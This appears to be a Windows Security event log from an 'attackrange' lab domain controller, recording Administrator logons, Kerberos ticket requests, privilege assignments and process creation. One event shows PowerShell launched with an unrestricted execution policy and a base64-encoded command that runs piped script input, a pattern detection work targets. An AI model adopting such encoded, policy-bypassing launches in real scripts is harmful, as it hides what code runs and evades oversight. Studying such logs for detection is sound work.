	Logon ID:		0x523DA8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257509
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x503C7E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257508
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x523DA8

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257507
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x523DA8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{9B2E6142-CC01-5D0B-157F-42EEB976C652}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257506
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{9B2E6142-CC01-5D0B-157F-42EEB976C652}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257505
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{9B2E6142-CC01-5D0B-157F-42EEB976C652}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257504
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257503
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x523D86

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257502
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x523D86

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257501
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x523D86
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{9B2E6142-CC01-5D0B-157F-42EEB976C652}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257500
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{9B2E6142-CC01-5D0B-157F-42EEB976C652}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257499
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{9B2E6142-CC01-5D0B-157F-42EEB976C652}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257498
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257497
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x508A05

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257496
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x507860

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257495
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5040E7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257494
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52233C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257493
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x52233C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		50947

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257492
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52233C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:33:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257538
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x527346

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257537
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x527346
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{6C86D9A5-9DAD-28A0-E4D0-FA5D27BD7DBA}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257536
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{6C86D9A5-9DAD-28A0-E4D0-FA5D27BD7DBA}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257535
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{6C86D9A5-9DAD-28A0-E4D0-FA5D27BD7DBA}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257534
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257533
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x523E6F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x938
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1168
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257532
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x523E6F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1168
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd40
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257531
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x524DE4

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257530
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x524DE4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{6C86D9A5-9DAD-28A0-E4D0-FA5D27BD7DBA}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

